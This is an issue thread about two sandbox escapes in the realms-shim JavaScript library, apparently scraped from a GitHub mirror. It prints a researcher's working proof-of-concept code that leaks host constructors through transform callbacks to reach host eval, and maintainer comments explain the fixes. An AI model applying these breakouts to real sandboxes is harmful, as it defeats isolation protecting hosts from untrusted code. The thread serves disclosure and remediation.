Comments (5)
On 07-Oct-2019, GitHub user @XmiliaH reported a security bug to [email protected]
:
Hey,
just found another breakout:
const compartment = Realm.makeCompartment();
let HostObject;
try {
compartment.evaluate('', undefined, {transforms: [{
rewrite(leaked) {
// Here we get the HostObject.
HostObject = leaked.constructor;
throw ''; // goto gotHostObject
}
}]});
} catch (e) {
// gotHostObject:
}
// Elevate HostObject access to eval.
const HostArray = HostObject.keys({}).constructor;
let n = 0;
Object.defineProperty(HostArray, Symbol.species, {
value: function(){
if (n++ == 1) {
return {
get length() {
this["0"] = 'x}=this;return ()=>eval;//';
return 1;
}
};
}
return [];
}
});
const Eval = Realm.makeRootRealm().evaluate('');
Eval
The problem is that the rewrite transformer gets called with a host object.
Regards,
Xmili
from realms-shim.
The following day, @XmiliaH sent:
There is another way out:
let HostFunction;
class BadArray extends Array {
reduce(leaked) {
// Leak happens here,
// but also concat will concat
// this with a transformer of the host
// that could just be read.
// But like this it's easier.
HostFunction = leaked.constructor;
throw ''; // goto gotHostFunction
}
}
const compartment = Realm.makeCompartment();
try{
compartment.evaluate('', undefined, {transforms: new BadArray()});
} catch (e) {
// gotHostFunction:
}
const HostObject = HostFunction.__proto__.__proto__.constructor
// Eleveate HostObject see first issue
Problem is that your uncurried concat will use the first parameter as this which is the BadArray, so the output arraytype can be choosen by me.
from realms-shim.
@jfparadis made the first fix here:
Line 37 in 6184c7a
and here:
Line 78 in 6184c7a
This takes the function which applies the transforms and turns it into a string, then evaluates that string inside the target Realm. This ensures that all the primordials it uses (like Array) are coming from the Realm that's going to evaluate the code being transformed.
from realms-shim.
The second fix is here:
Line 7 in 6184c7a
and here:
Lines 19 to 23 in 6184c7a
This captures the real Array.reduce
early, before the transform code has a chance to modify it, and uses the captured version instead of transform.reduce
(which would perform a new lookup on Array.prototype
, possibly getting a modified version).
from realms-shim.
That's all the detail I could get from the security advisory discussion, so I'll close this now. If I can glean more information from the actual code changes, I'll add it here later.
from realms-shim.
Related Issues (20)
- make new release
- Match the new Realms proposal API
- Need to shut down or transfer this shim project HOT 1
- It seems like sloppyGlobals not working HOT 7
- Give an option to close rejectDangerousSourcesTransform HOT 1
- Realm is not a constructor HOT 1
- SyntaxError: possible html comment syntax rejected around line 1
- Any signal about supporting ESModules? HOT 22
- Breakout via RangeError: Maximum call stack size exceeded HOT 3
- sandbox breach: host objects, evaluator mode switch, Reflect.construct HOT 14
- Function.prototype.constructor is tamed in the host HOT 7
- Protecting prototype accross the sandbox HOT 3
- The minified build is broken HOT 1
- Errors in realm is hard to debug HOT 2
- Rename option `sloppyGlobals` as `sloppyGlobalsMode`
- Add `globalThis` as the global object in the Realms
- sandbox breach: symbol.Unscopables HOT 1
- transforms rely upon Array-ness of user-supplied argument HOT 1
- transforms rely upon user-provided "string", can capture wrong-realm RegExp HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from realms-shim.